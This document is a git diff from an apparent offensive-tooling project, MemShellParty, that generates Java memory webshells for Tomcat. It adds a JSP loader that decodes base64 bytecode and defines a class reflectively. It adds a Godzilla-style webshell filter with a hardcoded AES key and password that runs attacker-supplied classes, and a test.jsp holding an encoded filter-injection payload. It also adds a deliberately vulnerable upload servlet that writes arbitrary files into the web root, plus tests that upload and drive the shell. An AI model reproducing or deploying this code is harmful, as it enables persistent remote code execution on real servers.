+org.apache.coyote.jsontype.BasicPolymorphicTypeValidator +org.apache.coyote.jsontype.NamedType +org.apache.coyote.jsontype.PolymorphicTypeValidator +org.apache.coyote.jsontype.SubtypeResolver +org.apache.coyote.jsontype.TypeDeserializer +org.apache.coyote.jsontype.TypeIdResolver +org.apache.coyote.jsontype.TypeResolverBuilder +org.apache.coyote.jsontype.TypeSerializer +org.apache.coyote.jsontype.impl.AsArrayTypeDeserializer +org.apache.coyote.jsontype.impl.AsArrayTypeSerializer +org.apache.coyote.jsontype.impl.AsExistingPropertyTypeSerializer +org.apache.coyote.jsontype.impl.AsExternalTypeDeserializer +org.apache.coyote.jsontype.impl.AsExternalTypeSerializer +org.apache.coyote.jsontype.impl.AsPropertyTypeDeserializer +org.apache.coyote.jsontype.impl.AsPropertyTypeSerializer +org.apache.coyote.jsontype.impl.AsWrapperTypeDeserializer +org.apache.coyote.jsontype.impl.AsWrapperTypeSerializer +org.apache.coyote.jsontype.impl.ClassNameIdResolver +org.apache.coyote.jsontype.impl.LaissezFaireSubTypeValidator +org.apache.coyote.jsontype.impl.MinimalClassNameIdResolver +org.apache.coyote.jsontype.impl.StdSubtypeResolver +org.apache.coyote.jsontype.impl.StdTypeResolverBuilder +org.apache.coyote.jsontype.impl.SubTypeValidator +org.apache.coyote.jsontype.impl.TypeDeserializerBase +org.apache.coyote.jsontype.impl.TypeIdResolverBase +org.apache.coyote.jsontype.impl.TypeNameIdResolver +org.apache.coyote.jsontype.impl.TypeSerializerBase +org.apache.coyote.module.SimpleAbstractTypeResolver +org.apache.coyote.module.SimpleDeserializers +org.apache.coyote.module.SimpleKeyDeserializers +org.apache.coyote.module.SimpleModule +org.apache.coyote.module.SimpleSerializers +org.apache.coyote.module.SimpleValueInstantiators +org.apache.coyote.node.ArrayNode +org.apache.coyote.node.BaseJsonNode +org.apache.coyote.node.BigIntegerNode +org.apache.coyote.node.BinaryNode +org.apache.coyote.node.BooleanNode +org.apache.coyote.node.ContainerNode +org.apache.coyote.node.DecimalNode +org.apache.coyote.node.DoubleNode +org.apache.coyote.node.FloatNode +org.apache.coyote.node.IntNode +org.apache.coyote.node.InternalNodeMapper +org.apache.coyote.node.JsonNodeCreator +org.apache.coyote.node.JsonNodeFactory +org.apache.coyote.node.JsonNodeType +org.apache.coyote.node.LongNode +org.apache.coyote.node.MissingNode +org.apache.coyote.node.NodeCursor +org.apache.coyote.node.NodeSerialization +org.apache.coyote.node.NullNode +org.apache.coyote.node.NumericNode +org.apache.coyote.node.ObjectNode +org.apache.coyote.node.POJONode +org.apache.coyote.node.ShortNode +org.apache.coyote.node.TextNode +org.apache.coyote.node.TreeTraversingParser +org.apache.coyote.node.ValueNode +org.apache.coyote.ser.AnyGetterWriter +org.apache.coyote.ser.BasicSerializerFactory +org.apache.coyote.ser.BeanPropertyFilter +org.apache.coyote.ser.BeanPropertyWriter +org.apache.coyote.ser.BeanSerializer +org.apache.coyote.ser.BeanSerializerBuilder +org.apache.coyote.ser.BeanSerializerFactory +org.apache.coyote.ser.BeanSerializerModifier +org.apache.coyote.ser.ContainerSerializer +org.apache.coyote.ser.ContextualSerializer +org.apache.coyote.ser.DefaultSerializerProvider +org.apache.coyote.ser.FilterProvider +org.apache.coyote.ser.PropertyBuilder +org.apache.coyote.ser.PropertyFilter +org.apache.coyote.ser.PropertyWriter +org.apache.coyote.ser.ResolvableSerializer +org.apache.coyote.ser.SerializerCache +org.apache.coyote.ser.SerializerFactory +org.apache.coyote.ser.Serializers +org.apache.coyote.ser.VirtualBeanPropertyWriter +org.apache.coyote.ser.impl.AttributePropertyWriter +org.apache.coyote.ser.impl.BeanAsArraySerializer +org.apache.coyote.ser.impl.FailingSerializer +org.apache.coyote.ser.impl.FilteredBeanPropertyWriter +org.apache.coyote.ser.impl.IndexedListSerializer +org.apache.coyote.ser.impl.IndexedStringListSerializer +org.apache.coyote.ser.impl.IteratorSerializer +org.apache.coyote.ser.impl.MapEntrySerializer +org.apache.coyote.ser.impl.ObjectIdWriter +org.apache.coyote.ser.impl.PropertyBasedObjectIdGenerator +org.apache.coyote.ser.impl.PropertySerializerMap +org.apache.coyote.ser.impl.ReadOnlyClassToSerializerMap +org.apache.coyote.ser.impl.SimpleBeanPropertyFilter +org.apache.coyote.ser.impl.SimpleFilterProvider +org.apache.coyote.ser.impl.StringArraySerializer +org.apache.coyote.ser.impl.StringCollectionSerializer +org.apache.coyote.ser.impl.TypeWrappedSerializer +org.apache.coyote.ser.impl.UnknownSerializer +org.apache.coyote.ser.impl.UnwrappingBeanPropertyWriter +org.apache.coyote.ser.impl.UnwrappingBeanSerializer +org.apache.coyote.ser.impl.WritableObjectId +org.apache.coyote.ser.std.ArraySerializerBase +org.apache.coyote.ser.std.AsArraySerializerBase +org.apache.coyote.ser.std.AtomicReferenceSerializer +org.apache.coyote.ser.std.BeanSerializerBase +org.apache.coyote.ser.std.BooleanSerializer +org.apache.coyote.ser.std.ByteArraySerializer +org.apache.coyote.ser.std.ByteBufferSerializer +org.apache.coyote.ser.std.CalendarSerializer +org.apache.coyote.ser.std.ClassSerializer +org.apache.coyote.ser.std.CollectionSerializer +org.apache.coyote.ser.std.DateSerializer +org.apache.coyote.ser.std.DateTimeSerializerBase +org.apache.coyote.ser.std.EnumSerializer +org.apache.coyote.ser.std.EnumSetSerializer +org.apache.coyote.ser.std.FileSerializer +org.apache.coyote.ser.std.InetAddressSerializer +org.apache.coyote.ser.std.InetSocketAddressSerializer +org.apache.coyote.ser.std.IterableSerializer +org.apache.coyote.ser.std.JsonValueSerializer +org.apache.coyote.ser.std.MapProperty +org.apache.coyote.ser.std.MapSerializer +org.apache.coyote.ser.std.NonTypedScalarSerializerBase +org.apache.coyote.ser.std.NullSerializer +org.apache.coyote.ser.std.NumberSerializer +org.apache.coyote.ser.std.NumberSerializers +org.apache.coyote.ser.std.ObjectArraySerializer +org.apache.coyote.ser.std.RawSerializer +org.apache.coyote.ser.std.ReferenceTypeSerializer +org.apache.coyote.ser.std.SerializableSerializer +org.apache.coyote.ser.std.SqlDateSerializer +org.apache.coyote.ser.std.SqlTimeSerializer +org.apache.coyote.ser.std.StaticListSerializerBase +org.apache.coyote.ser.std.StdArraySerializers +org.apache.coyote.ser.std.StdDelegatingSerializer +org.apache.coyote.ser.std.StdJdkSerializers +org.apache.coyote.ser.std.StdKeySerializer +org.apache.coyote.ser.std.StdKeySerializers +org.apache.coyote.ser.std.StdScalarSerializer +org.apache.coyote.ser.std.StdSerializer +org.apache.coyote.ser.std.StringSerializer +org.apache.coyote.ser.std.TimeZoneSerializer +org.apache.coyote.ser.std.ToStringSerializer +org.apache.coyote.ser.std.ToStringSerializerBase +org.apache.coyote.ser.std.TokenBufferSerializer +org.apache.coyote.ser.std.UUIDSerializer +org.apache.coyote.type.ArrayType +org.apache.coyote.type.ClassKey +org.apache.coyote.type.ClassStack +org.apache.coyote.type.CollectionLikeType +org.apache.coyote.type.CollectionType +org.apache.coyote.type.MapLikeType +org.apache.coyote.type.MapType +org.apache.coyote.type.PlaceholderForType +org.apache.coyote.type.ReferenceType +org.apache.coyote.type.ResolvedRecursiveType +org.apache.coyote.type.SimpleType +org.apache.coyote.type.TypeBase +org.apache.coyote.type.TypeBindings +org.apache.coyote.type.TypeFactory +org.apache.coyote.type.TypeModifier +org.apache.coyote.type.TypeParser +org.apache.coyote.util.AccessPattern +org.apache.coyote.util.Annotations +org.apache.coyote.util.ArrayBuilders +org.apache.coyote.util.ArrayIterator +org.apache.coyote.util.BeanUtil +org.apache.coyote.util.ByteBufferBackedInputStream +org.apache.coyote.util.ByteBufferBackedOutputStream +org.apache.coyote.util.ClassUtil +org.apache.coyote.util.CompactStringObjectMap +org.apache.coyote.util.Converter +org.apache.coyote.util.EnumResolver +org.apache.coyote.util.EnumValues +org.apache.coyote.util.ISO8601DateFormat +org.apache.coyote.util.ISO8601Utils +org.apache.coyote.util.JSONPObject +org.apache.coyote.util.JSONWrappedObject +org.apache.coyote.util.LRUMap +org.apache.coyote.util.LinkedNode +org.apache.coyote.util.NameTransformer +org.apache.coyote.util.Named +org.apache.coyote.util.ObjectBuffer +org.apache.coyote.util.PrimitiveArrayBuilder +org.apache.coyote.util.RawValue +org.apache.coyote.util.RootNameLookup +org.apache.coyote.util.SimpleBeanPropertyDefinition +org.apache.coyote.util.StdConverter +org.apache.coyote.util.StdDateFormat +org.apache.coyote.util.TokenBuffer +org.apache.coyote.util.TokenBufferReadContext +org.apache.coyote.util.TypeKey +org.apache.coyote.util.ViewMatcher \ No newline at end of file diff --git a/generator/src/main/resources/shell.jsp b/generator/src/main/resources/shell.jsp new file mode 100644 index 00000000..252e9fbc --- /dev/null +++ b/generator/src/main/resources/shell.jsp @@ -0,0 +1,36 @@ +<%! + public byte[] decodeBase64(String bytecodeBase64) { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + Class base64Clz = classLoader.loadClass("java.util.Base64"); + Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); + Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); + return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); + } catch (Exception ee) { + try { + Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); + return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); + } catch (Exception e) { + return null; + } + } + } +%> + +<% + String className = "{{className}}"; + String base64Str = "{{base64Str}}"; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + classLoader.loadClass(className).newInstance(); + } catch (Exception e) { + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + byte[] bytecode = decodeBase64(base64Str); + Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length); + clazz.newInstance(); + } catch (Exception ignored) { + } + } +%> \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java b/generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java new file mode 100644 index 00000000..c38e5aa6 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java @@ -0,0 +1,21 @@ +package com.reajason.javaweb.godzilla; + +import com.reajason.javaweb.util.ClassUtils; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +class GodzillaManagerTest { + + @Test + void generateGodzilla() { + byte[] bytes = GodzillaManager.generateGodzilla(); + Object o = ClassUtils.newInstance(bytes); + System.out.println(o.getClass().getName()); + assertNotNull(o); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/TomcatGodzillaIntegrationTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/TomcatGodzillaIntegrationTest.java new file mode 100644 index 00000000..66c6101f --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/TomcatGodzillaIntegrationTest.java @@ -0,0 +1,115 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.config.GodzillaShellConfig; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.godzilla.GodzillaManager; +import com.reajason.javaweb.memsell.packer.JspPacker; +import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import lombok.SneakyThrows; +import okhttp3.*; +import org.junit.jupiter.api.DynamicTest; +import org.junit.jupiter.api.TestFactory; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.utility.MountableFile; + +import java.io.IOException; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.stream.Stream; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public class TomcatGodzillaIntegrationTest { + OkHttpClient client = new OkHttpClient(); + + @TestFactory + Stream testContainerDeployments() { + return Stream.of( + createCustomContainerTest("tomcat:8-jre8"), + createCustomContainerTest("tomcat:9-jre8") + ); + } + + @SuppressWarnings("all") + private DynamicTest createCustomContainerTest(String imageName) { + Path warPath = Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath(); + return DynamicTest.dynamicTest("Test " + imageName, () -> { + try (GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(MountableFile.forHostPath(warPath), "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080)) { + container.start(); + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port + "/app"; + verifyContainerResponse(url + "/test"); + + GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() + .pass("pass").key("key") + .headerName("User-Agent").headerValue("test") + .build(); + String jspContent = generateGodzillaFilterJsp(shellConfig); + String filename = "shell.jsp"; + uploadJspFileToServer(url + "/upload", filename, jspContent); + verifyContainerResponse(url + "/" + filename); + + testGodzillaIsOk(url + "/" + filename, shellConfig); + } + }); + } + + private String generateGodzillaFilterJsp(GodzillaShellConfig config) { + Server server = Server.TOMCAT; + ShellTool shellTool = ShellTool.Godzilla; + String shellType = TomcatShell.FILTER; + GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config); + JspPacker jspPacker = new JspPacker(); + return new String(jspPacker.pack(generateResult)); + } + + private void verifyContainerResponse(String url) throws IOException { + Request request = new Request.Builder() + .url(url).build(); + try (Response response = client.newCall(request).execute()) { + assertEquals(200, response.code()); + } + } + + + @SneakyThrows + private void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) { + RequestBody fileRequestBody = RequestBody.create(fileContent, MediaType.parse("text/plain")); + MultipartBody requestBody = new MultipartBody.Builder() + .setType(MultipartBody.FORM) + .addFormDataPart("file", filename, fileRequestBody) + .build(); + Request request = new Request.Builder() + .url(uploadUrl).post(requestBody) + .build(); + try (Response response = client.newCall(request).execute()) { + assertEquals(200, response.code()); + } + } + + private void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) { + try (GodzillaManager godzillaManager = new GodzillaManager.GodzillaManagerBuilder() + .entrypoint(entrypoint) + .pass(shellConfig.getPass()) + .key(shellConfig.getKey()) + .header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()).build()) { + assertTrue(godzillaManager.start()); + assertTrue(godzillaManager.test()); + } catch (IOException e) { + e.printStackTrace(); + } + } +} diff --git a/settings.gradle b/settings.gradle index 24e59328..38482584 100644 --- a/settings.gradle +++ b/settings.gradle @@ -1,2 +1,3 @@ rootProject.name = 'MemShellParty' -include "vul-webapp", "generator" \ No newline at end of file +include 'vul-webapp' +include 'generator' \ No newline at end of file diff --git a/vul-webapp/build.gradle b/vul-webapp/build.gradle index 3f86e250..75e7acc4 100644 --- a/vul-webapp/build.gradle +++ b/vul-webapp/build.gradle @@ -3,12 +3,16 @@ plugins { } group = 'com.reajason.javaweb.vul' -version = '1.0-SNAPSHOT' +version = '' -dependencies { - providedCompile "javax.servlet:servlet-api:2.5" +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } } -test { - useJUnitPlatform() +dependencies { + implementation 'commons-fileupload:commons-fileupload:1.5' + providedCompile "javax.servlet:servlet-api:2.5" + providedCompile 'jakarta.servlet:jakarta.servlet-api:5.0.0' } \ No newline at end of file diff --git a/vul-webapp/src/main/java/ErrorHandler.java b/vul-webapp/src/main/java/ErrorHandler.java new file mode 100644 index 00000000..a105e1e5 --- /dev/null +++ b/vul-webapp/src/main/java/ErrorHandler.java @@ -0,0 +1,129 @@ + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public class ErrorHandler extends ClassLoader implements Filter { + public String key = "3c6e0b8a9c15224a"; + public String pass = "pass"; + public String md5 = "11CD6A87589841636C37AC826A2A04BC"; + public String headerName = "User-Agent"; + public String headerValue = "test"; + + public ErrorHandler() { + } + + public ErrorHandler(ClassLoader var1) { + super(var1); + } + + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var41) { + return null; + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + + try { + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(this.pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (IllegalAccessException | InstantiationException e) { + throw new RuntimeException(e); + } + + f.equals(arrOut); + f.equals(request); + response.getWriter().write(this.md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(this.md5.substring(16)); + } + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception var12) { + chain.doFilter(servletRequest, servletResponse); + } + + } + + @Override + public void destroy() { + + } + + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + + try { + Class base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var61) { + try { + Class base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception var5) { + } + } + + return value; + } + + public static byte[] base64Decode(String bs) { + byte[] value = null; + + try { + Class base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var61) { + try { + Class base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + + return value; + } +} diff --git a/vul-webapp/src/main/java/UploadServlet.java b/vul-webapp/src/main/java/UploadServlet.java new file mode 100644 index 00000000..a89ed97a --- /dev/null +++ b/vul-webapp/src/main/java/UploadServlet.java @@ -0,0 +1,49 @@ +import org.apache.commons.fileupload.FileItem; +import org.apache.commons.fileupload.disk.DiskFileItemFactory; +import org.apache.commons.fileupload.servlet.ServletFileUpload; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.File; +import java.io.IOException; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public class UploadServlet extends HttpServlet { + + private static final String TEMP_DIRECTORY = "/tmp"; + private static final String UPLOAD_DIRECTORY = "/"; + private static final int MAX_FILE_SIZE = 1024 * 1024 * 10; + private static final int MAX_REQUEST_SIZE = 1024 * 1024 * 50; + + @Override + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + if (ServletFileUpload.isMultipartContent(request)) { + DiskFileItemFactory factory = new DiskFileItemFactory(); + factory.setSizeThreshold(1024 * 1024); + factory.setRepository(new File(TEMP_DIRECTORY)); + ServletFileUpload upload = new ServletFileUpload(factory); + upload.setFileSizeMax(MAX_FILE_SIZE); + upload.setSizeMax(MAX_REQUEST_SIZE); + try { + List items = upload.parseRequest(request); + for (FileItem item : items) { + if (!item.isFormField()) { + String fileName = new File(item.getName()).getName(); + String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + fileName; + File uploadFile = new File(uploadPath); + item.write(uploadFile); + response.getWriter().println("file upload success: " + uploadPath); + } + } + } catch (Exception e) { + response.getWriter().println("file upload failed: " + e.getMessage()); + } + } + } +} \ No newline at end of file diff --git a/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul-webapp/src/main/webapp/WEB-INF/web.xml index bb0028b5..bff571da 100644 --- a/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -5,4 +5,31 @@ index.html + + + test + TestServlet + + + test + /test + + + + upload + UploadServlet + + + upload + /upload + + + + godzilla + ErrorHandler + + + godzilla + /test_filter + \ No newline at end of file diff --git a/vul-webapp/src/main/webapp/test.jsp b/vul-webapp/src/main/webapp/test.jsp index e32def27..cff82dfd 100644 --- a/vul-webapp/src/main/webapp/test.jsp +++ b/vul-webapp/src/main/webapp/test.jsp @@ -18,15 +18,16 @@ %> <% + String className = "com.fasterxml.jackson.sfvnZ.ReportUtil"; + String base64Str = "yv66vgAAAD0BugoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAQWNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdEZpbHRlckluamVjdG9yAQAKZ2V0Q29udGV4dAEAEigpTGphdmEvdXRpbC9MaXN0OwsADgAPBwAQDAARABIBAA5qYXZhL3V0aWwvTGlzdAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwsAFAAVBwAWDAAXABgBABJqYXZhL3V0aWwvSXRlcmF0b3IBAAdoYXNOZXh0AQADKClaCwAUABoMABsAHAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwoACAAeDAAfACABAAlnZXRGaWx0ZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoACAAiDAAjACQBAAlhZGRGaWx0ZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYHACYBABNqYXZhL2xhbmcvRXhjZXB0aW9uCAAoAQACLyoIACoBAAAIACwBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCgAuAC8HADAMADEAMgEAD2phdmEvbGFuZy9DbGFzcwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA0AQAMZGVjb2RlQnVmZmVyBwA2AQAQamF2YS9sYW5nL1N0cmluZwoALgA4DAA5ADoBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgAuADwMAD0AHAEAC25ld0luc3RhbmNlCgA/AEAHAEEMAEIAQwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwcARQEAAltCCABHAQAQamF2YS51dGlsLkJhc2U2NAgASQEACmdldERlY29kZXIKAAIASwwATABNAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7CABPAQAGZGVjb2RlBwBRAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0KAFAAAwcAVAEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0KAFMAVgwABQBXAQAFKFtCKVYHAFkBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQoAWABbDAAFAFwBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYKAFgAXgwAXwBgAQAEcmVhZAEABShbQilJCgBQAGIMAGMAZAEABXdyaXRlAQAHKFtCSUkpVgoAUABmDABnAGgBAAt0b0J5dGVBcnJheQEABCgpW0IKAC4AagwAawBsAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwcAbgEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgoALgBwDABxAE0BAA1nZXRTdXBlcmNsYXNzCgBtAHMMAAUAdAEAFShMamF2YS9sYW5nL1N0cmluZzspVgoAdgB3BwB4DAB5AHoBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWCgB2AHwMAH0AIAEAA2dldAoACAB/DACAAIEBAAxpbnZva2VNZXRob2QBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKAC4AgwwAhACFAQASZ2V0RGVjbGFyZWRNZXRob2RzAQAdKClbTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsKAD8AhwwAiACJAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7CgA1AIsMAIwAjQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoAPwCPDACQAJEBABFnZXRQYXJhbWV0ZXJUeXBlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7CgAuAJMMAJQAOgEAEWdldERlY2xhcmVkTWV0aG9kBwCWAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgoAlQBzCgA/AHcHAJoBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgcAnAEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uCgCZAJ4MAJ8AiQEACmdldE1lc3NhZ2UKAJsAcwcAogEAE2phdmEvdXRpbC9BcnJheUxpc3QKAKEAAwcApQEAEGphdmEvbGFuZy9UaHJlYWQIAKcBAApnZXRUaHJlYWRzCgAIAKkMAIAAqgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7BwCsAQATW0xqYXZhL2xhbmcvVGhyZWFkOwoApACHCACvAQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcgoANQCxDACyALMBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWggAtQEABnRhcmdldAoACAC3DAC4AKoBAA1nZXRGaWVsZFZhbHVlCAC6AQAGdGhpcyQwCAC8AQAIY2hpbGRyZW4HAL4BABFqYXZhL3V0aWwvSGFzaE1hcAoAvQDADADBAMIBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwsAxAAPBwDFAQANamF2YS91dGlsL1NldAoAvQB8CgAuAIcIAMkBAA9TdGFuZGFyZENvbnRleHQLAA4AywwAzACNAQADYWRkCADOAQAVVG9tY2F0RW1iZWRkZWRDb250ZXh0CgCkANAMANEA0gEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsKAC4A1AwA1QCJAQAIdG9TdHJpbmcIANcBABlQYXJhbGxlbFdlYmFwcENsYXNzTG9hZGVyCADZAQAfVG9tY2F0RW1iZWRkZWRXZWJhcHBDbGFzc0xvYWRlcggA2wEACXJlc291cmNlcwgA3QEAB2NvbnRleHQKAJsA3wwABQDgAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWCgCkAOIMAOMA5AEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwoALgDmDADnANIBAA5nZXRDbGFzc0xvYWRlcgoACADpDADqAIkBAAxnZXRDbGFzc05hbWUKAOwA7QcA7gwA7wAyAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzCgAIAPEMAPIAiQEAD2dldEJhc2U2NFN0cmluZwoACAD0DAD1APYBAAxkZWNvZGVCYXNlNjQBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCCgAIAPgMAPkA+gEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCCAD8AQALZGVmaW5lQ2xhc3MJAP4A/wcBAAwBAQECAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsKAP4BBAwBBQEGAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsHAQgBABNqYXZhL2xhbmcvVGhyb3dhYmxlCgAIAQoMAQsA0gEAEWdldENhdGFsaW5hTG9hZGVyCgAuAQ0MAQ4AiQEADWdldFNpbXBsZU5hbWUIARABAA1maW5kRmlsdGVyRGVmCAESAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJEZWYIARQBAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlck1hcAgBFgEAJ